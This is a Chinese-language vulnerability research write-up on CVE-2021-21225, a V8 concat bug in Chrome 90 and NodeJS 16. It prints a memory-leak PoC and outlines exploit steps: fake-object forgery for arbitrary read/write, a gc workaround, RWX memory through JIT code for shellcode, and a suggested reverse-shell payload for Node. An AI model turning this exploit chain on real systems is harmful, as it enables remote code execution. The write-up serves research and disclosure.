作者:Hcamael@知道创宇404实验室
第七个研究的是CVE-2021-21225
,其chrome的bug编号为:1195977[1]
受影响的Chrome最高版本为:90.0.4430.72
受影响的V8最高版本为:9.0.257.17
在chrome的bugs中也有该漏洞的exp和poc。
搭建环境
一键编译相关环境:
$ ./build.sh 9.0.257.17
漏洞分析
本次分析的漏洞,和之前研究过的有很大的不同,PoC如下:
class Leaky extends Float64Array {}
let u32 = new Leaky (1000);
u32.__defineSetter__('length', function() {});
class MyArray extends Array {
static get [Symbol.species]() {
return function() { return u32; }
};
}
var w = new MyArray(300);
w.fill(1.1);
delete w[1];
Array.prototype[1] = {
valueOf: function() {
w.length = 1;
gc();
delete Array.prototype[1];
return 1.1;
}
};
var c = Array.prototype.concat.call(w);
for (var i = 0; i < 32; i++) {
print(c[i]);
}
其中gc
函数需要运行d8的时候加上--expose-gc
参数,才能调用。
该PoC的效果很明显,是内存泄漏,在变量w后再定义其他变量,比如var c = [1.1,2.2]
,那么可以把变量c的信息给泄漏出来。
发现该漏洞的研究人员也写了相关的paper:
- https://tiszka.com/blog/CVE_2021_21225.html?utm_source=bengtan.com/interesting-things/018
- https://tiszka.com/blog/CVE_2021_21225_exploit.html
漏洞出现在concat
函数上,而且也不是新类型的漏洞,concat
函数之前的漏洞编号为:CVE-2016-1646
和CVE-2017-5030
,详细的可以去看上面的第一篇文章。
这里就说说我编写exp的过程,现有的exp已经可以泄漏变量信息了,但是还不够,要想rce,还得需要能控制变量的map,上面PoC的效果只是把变量w当成长度为1000的数组,然后赋值给变量c,在正常的程序中,变量w的长度已经被我们改成1了,所以根本没法修改后续值,只有concat函数认为变量w的长度为1000。而修改变量c的值,也根本影响不到其他变量,因为变量c本身就是长度为1000的合法变量。
在上面的第二篇文章中,提供了这么一种方案:
- 在上述的PoC中,数组w的所有元素都被1.1填充了,所以w的map为
PACKED_DOUBLE_ELEMENTS
类型。 - 如果我们把变量w的map改为
HOLEY_ELEMENTS
类型,那么concat
函数在操作的时候,会把w的元素都当成Object处理。 - 这样,我们在变量w后面再定义一个变量:
padding_obj = new Uint32Array(10);
,该变量填充进我们可控的内存地址,这样就可以构建一个fake_obj。 - 有了fake_obj以后,就能任意读写了,就可以按照套路来写exp了。
但是直接这么写,可能会遇到一些问题,程序会crash,因为在漏洞触发后,会把后续的变量都当成对象,如果遇到一个不合法的对象,就报错了。
在上面第二篇paper中,提供了一种方法,在触发漏洞的函数中,修改了Object的原型链:
Object.prototype.valueOf = function() {
corrupted_array = this;
delete Object.prototype.valueOf; // clean up this valueOf
throw 'bailout';
}
成功触发了以后,获取到我们构造的fake_obj,然后抛出异常,然后再捕获到该异常,这样程序就不会崩溃了。
垃圾回收
上面poc中的gc函数需要加上--expose-gc
参数,那么没有这个参数的环境下要怎么办呢?上面第二篇文章中给出了一个方案:
function gc() {
new ArrayBuffer(0x7fe00000);
}
另一种得到RWX内存的方案
在之前的文章中,我们都是采用WASM的方式获取一个RWX内存区域,但是在上面的第二篇文章中,给了另一种方案。
如果heap->write_protect_code_memory
为0,那么JIT优化的代码会生成RWX内存区域来存放。
示例如下:
function jit(a) {
return a[0];
}
write64(write_protect_code_memory_, 0);
for (var i = 0; i < 200000; i++) {
jit([0]);
}
shellcode = [xxxx]
copy_shellcode_rwx(shellcode, jit_turbo_code_addr)
jit([0])
其中write_protect_code_memory_
地址一般在堆的开头,可以通过gdb来搜索该地址。
jit_turbo_code_addr
地址的偏移也可以通过gdb调试来获取。
NodeJS的利用
经过研究,该漏洞能影响到NodeJS 16.0.0。
来编写NodeJS的exp的过程中需要注意几点:
- nodejs没开启地址压缩。
- 使用%DebugPrint或者%System会影响内存布局,影响利用。
- 最后利用的shellcode,会发现没有输出,这是因为执行shellcode的文件描述符不对,这个时候可以修改shellcode为reverse shell或者bind shell。